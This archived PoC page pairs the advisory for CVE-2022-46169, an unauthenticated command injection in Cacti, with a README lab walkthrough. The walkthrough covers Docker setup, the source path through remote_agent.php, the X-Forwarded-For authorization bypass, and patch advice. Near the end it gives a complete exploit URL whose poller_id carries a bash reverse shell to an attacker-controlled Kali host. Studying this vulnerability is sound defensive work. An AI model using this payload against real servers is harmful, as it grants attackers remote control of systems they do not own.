Associated Vulnerability
Title:Unauthenticated Command Injection (CVE-2022-46169)Description:Cacti is an open source platform which provides a robust and extensible operational monitoring and fault management framework for users. In affected versions a command injection vulnerability allows an unauthenticated user to execute arbitrary code on a server running Cacti, if a specific data source was selected for any monitored device. The vulnerability resides in the `remote_agent.php` file. This file can be accessed without authentication. This function retrieves the IP address of the client via `get_client_addr` and resolves this IP address to the corresponding hostname via `gethostbyaddr`. After this, it is verified that an entry within the `poller` table exists, where the hostname corresponds to the resolved hostname. If such an entry was found, the function returns `true` and the client is authorized. This authorization can be bypassed due to the implementation of the `get_client_addr` function. The function is defined in the file `lib/functions.php` and checks serval `$_SERVER` variables to determine the IP address of the client. The variables beginning with `HTTP_` can be arbitrarily set by an attacker. Since there is a default entry in the `poller` table with the hostname of the server running Cacti, an attacker can bypass the authentication e.g. by providing the header `Forwarded-For: <TARGETIP>`. This way the function `get_client_addr` returns the IP address of the server running Cacti. The following call to `gethostbyaddr` will resolve this IP address to the hostname of the server, which will pass the `poller` hostname check because of the default entry. After the authorization of the `remote_agent.php` file is bypassed, an attacker can trigger different actions. One of these actions is called `polldata`. The called function `poll_for_data` retrieves a few request parameters and loads the corresponding `poller_item` entries from the database. If the `action` of a `poller_item` equals `POLLER_ACTION_SCRIPT_PHP`, the function `proc_open` is used to execute a PHP script. The attacker-controlled parameter `$poller_id` is retrieved via the function `get_nfilter_request_var`, which allows arbitrary strings. This variable is later inserted into the string passed to `proc_open`, which leads to a command injection vulnerability. By e.g. providing the `poller_id=;id` the `id` command is executed. In order to reach the vulnerable call, the attacker must provide a `host_id` and `local_data_id`, where the `action` of the corresponding `poller_item` is set to `POLLER_ACTION_SCRIPT_PHP`. Both of these ids (`host_id` and `local_data_id`) can easily be bruteforced. The only requirement is that a `poller_item` with an `POLLER_ACTION_SCRIPT_PHP` action exists. This is very likely on a productive instance because this action is added by some predefined templates like `Device - Uptime` or `Device - Polling Time`. This command injection vulnerability allows an unauthenticated user to execute arbitrary commands if a `poller_item` with the `action` type `POLLER_ACTION_SCRIPT_PHP` (`2`) is configured. The authorization bypass should be prevented by not allowing an attacker to make `get_client_addr` (file `lib/functions.php`) return an arbitrary IP address. This could be done by not honoring the `HTTP_...` `$_SERVER` variables. If these should be kept for compatibility reasons it should at least be prevented to fake the IP address of the server running Cacti. This vulnerability has been addressed in both the 1.2.x and 1.3.x release branches with `1.2.23` being the first release containing the patch.
Readme
CVE-2022-46169 - Unauthenticated Remote Code Execution in Cacti
======
# What is Cacti and its vulnerability?
Cacti is an open-source operational monitoring tool written in PHP, MySQL/MariaDB, which provides a friendly interface.
The vulnerability was found in 2022 which affected all versions before 1.2.23. This bug requires a chain of authentication bypass and command injection to achieve RCE (Remote Code Execution).
# Lab Setup
In this CVE analysis, I will run Cacti in Docker and use VSCode for code analysis. The set up will be quite simple, first we need a docker-compose.yaml file to create a new environment. Below is the docker-compose.yaml file:
```
version: '2'
services:
cacti:
image: "smcline06/cacti"
container_name: cacti
domainname: example.com
hostname: localhost
ports:
- "8088:80"
environment:
- DB_NAME=cacti_master
- DB_USER=cactiuser
- DB_PASS=cactipassword
- DB_HOST=db
- DB_PORT=3306
- DB_ROOT_PASS=rootpassword
- INITIALIZE_DB=1
- TZ=America/Los_Angeles
volumes:
- cacti-data:/cacti
- cacti-spine:/spine
- cacti-backups:/backups
links:
- db
db:
image: "mariadb:10.3"
container_name: cacti_db
domainname: example.com
hostname: db
ports:
- "3307:3306" # Change host port to 3307
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --max_connections=200
- --max_heap_table_size=128M
- --max_allowed_packet=32M
- --tmp_table_size=128M
- --join_buffer_size=128M
- --innodb_buffer_pool_size=1G
- --innodb_doublewrite=ON
- --innodb_flush_log_at_timeout=3
- --innodb_read_io_threads=32
- --innodb_write_io_threads=16
- --innodb_buffer_pool_instances=9
- --innodb_file_format=Barracuda
- --innodb_large_prefix=1
- --innodb_io_capacity=5000
- --innodb_io_capacity_max=10000
environment:
- MYSQL_ROOT_PASSWORD=User@123
- TZ=America/Los_Angeles
volumes:
- cacti-db:/var/lib/mysql
volumes:
cacti-db:
cacti-data:
cacti-spine:
cacti-backups:
```
After creating the file, open command line and navigate to the file directory, run the command `docker-compose up -d`, open browser and access to `localhost:8088`. First you will see a log in page:

The default credential is `admin/admin`. The process of setting up will be presented by photos below:

Create new password











After finishing installation, we will have a console screen like this

Now let's start to analyze the vulnerability. As we know that, the vulnerable file is `remote_agent.php`, so we'll try to access to file on browser

It says that we are not authorized to access the file. It's time to view the source code of the file

It checks by calling the remote_client_authorized() function. Let's dive deeply into that function.

First, the server get our IP address via the `get_client_addr()` function and then use the `gethostbyaddr()` function to translate our IP to hostname. The server then fetch all the `pollers` available in `poller` table and compare each `poller's hostname` with your `hostname` translated from the IP address. There's a bypass here, inside the `get_client_addr()`:

We can see that the server will retrieve the IP address via one of the header:
```
- X-Forwarded-For
- X-Client-IP
- X-Real-IP
- X-ProxyUser-Ip
- CF-Connecting-IP
- True-Client-IP
- HTTP_X_FORWARDED
- HTTP_X_FORWARDED_FOR
- HTTP_X_CLUSTER_CLIENT_IP
- HTTP_FORWARDED_FOR
- HTTP_FORWARDED
- HTTP_CLIENT_IP
- REMOTE_ADDR
```
This allow us to fully control the value of our IP address. In this case, we can use the `X-Forwarded-For` header to spoofed our IP to a valid IP, which allow us to bypass authorization. `X-Forwarded-For` header is often used to identify the original IP address if there's a proxy or load balancer sit between the client and the server. However, this will be an attack surface for attackers to exploit. Because we run cacti locally, we need to specify an IP address that will be translated to localhost, which is `127.0.0.1`.

Looks good now right? However, it's just the beginning bros!!! We need more code analysis to successfully injection command and gain remote code execution. After finishing authentication, the program will execute this code

The server will get the `action` parameter and step into a `Switch/Case`. if the value of `action` is `pollerdata`, the program will call the `poll_for_data()`. This function is vulnerable to command injection, so we will carefully analyze it.

The function will take 3 parameters `$local_data_ids`, `$host_id`, `$poller_id` received from user's request parameters `local_data_ids`, `host_id`, `poller_id`. Notice the difference in the function to retrieve the parameters, one is `get_filter_request_var` and other is `get_nfilter_request_var`, there is one more `n` in the last function, we will discuss more about this. After that, the program will check if we supply the `local_data_ids` parameter and will loop each one to retrieve data from the `poller_item` table base on `local_data_ids` and `host_id`. The query will be saved in `$items`.

If the query returns with results, the program will loop through each `$item` in `$items` and step in a `Switch/Case` statement which takes `$item['action']` as **Switch** value. There're many cases but the case we should investigate is the `POLLER_ACTION_SCRIPT_PHP` which means `action` equals to 2.

Once `action` is `2`, the program will execute the `proc_open()` command, which is quite similar to `exec()`, and take `$poller_id` as one of the variables, which is fully controlled by us. For better visualization, we should access to the database to retrieve the `poller_item` table's content to see how it looks like.

From the table, we see that we have to brute-force the `local_data_id` to get the `poller` having `action = 2`, this will be applied in real-world exploitation. By default, cacti doesn't have any `poller` having `action = 2`, yet this can be done by adding new templates like `device`



After create new `device`, we access the `poller_item` table again and see that there's a new `poller` with `action = 2`

Now let's review the whole process again. To successfully exploit the bug, we need to first bypass the authentication by adding `X-Forwarded-For` header. The next step is to provide `action` parameter to `polldata`, `host_id =1`, `local_data_ids` equals to the corresponding `poller` having `action =2`, in this case `local_data_ids = 6`, and most importantly, the `poller_id` parameter is where we will injection command to obtain remote code execution. There use of `get_nfilter_request_var()` make this parameter vulnerable. While `get_filter_request_var` only accepts integer, `get_nfilter_request_var` allow us to enter string. In addition, there is no input validation for this parameter, which leads to a full command injection.
Let's run a **Kali Linux** server listening for requests.

We need kali's **IP address** and **port** which runs the server to build the payload, in this case are `172.22.119.130` and netcat's running on port `4444`
Now let's open Burpsuite and start to exploit, the payload used here is `;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261`. The payload use a `;` to end the previous command and execute a new command. the rest is a simply command to get reverse shell. Combine all together, we have the full url: `localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261`


Bump!!! We have successfully exploited the bug. The process and explanation is quite long but in general, this is not a very complicated vulnerability.
Mitigation
------------------------
The root cause of this vulnerability is the use of `get_nfilter_request_var()` function for `poller_id` parameter. We can change it to `get_filter_request_var()` to only accept integer

We can add another security layer by sanitize the value of `poller_id` by using the `cacti_escapeshellarg()` function. These practice will ensure that only valid input passed into `poller_id` before it is used for further steps.

This is the end of the analysis. Hope you will learn something meaningful. As we can see that, vulnerability often takes place in user's input. Therefore, it is so important that we should apply proper input validation in order to secure our server. Remote Code Execution is so tremendous, but there's still a way to prevent it!!! Happy hacking!
### Reference
https://viblo.asia/p/phan-tich-lo-hong-unauthenticated-command-injection-cve-2022-46169-trong-phan-mem-cacti-MkNLrOK8VgA
https://www.vicarius.io/vsociety/posts/unauthenticated-rce-in-cacti-cve-2022-46169
File Snapshot
[4.0K] /data/pocs/5dfd1d8bf07220e95253f8f84fbedb3fc18d0af7
├── [4.0K] images
│ ├── [ 42K] 10.png
│ ├── [141K] 11.png
│ ├── [ 69K] 1.png
│ ├── [106K] 2.png
│ ├── [ 64K] 3.png
│ ├── [ 74K] 4.png
│ ├── [ 89K] 5.png
│ ├── [ 87K] 6.png
│ ├── [ 76K] 7.png
│ ├── [ 83K] 8.png
│ ├── [ 46K] 9.png
│ ├── [ 1] a.html
│ ├── [ 98K] console.png
│ ├── [ 96K] create_device_1.png
│ ├── [102K] create_device_2.png
│ ├── [ 97K] create_device_3.png
│ ├── [ 84K] create_device_4.png
│ ├── [134K] exploit_1.png
│ ├── [112K] exploit_2.png
│ ├── [ 84K] get_client_addr.png
│ ├── [136K] IP_spoofed.png
│ ├── [ 77K] kali.png
│ ├── [ 74K] login_page.png
│ ├── [ 14K] mitigation_1.png
│ ├── [ 22K] mitigation_2.png
│ ├── [ 80K] new_password.png
│ ├── [ 13K] POLLER_ACTION_SCRIPT_PHP.png
│ ├── [ 96K] poller_item_table.png
│ ├── [ 46K] poll_for_data.png
│ ├── [128K] proc_open.png
│ ├── [ 22K] remote_agent.png
│ ├── [100K] remote_client_authorized_dive_deep.png
│ ├── [9.9K] remote_client_authorized.png
│ └── [ 68K] switch_case_action.png
└── [ 12K] README.md
1 directory, 35 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →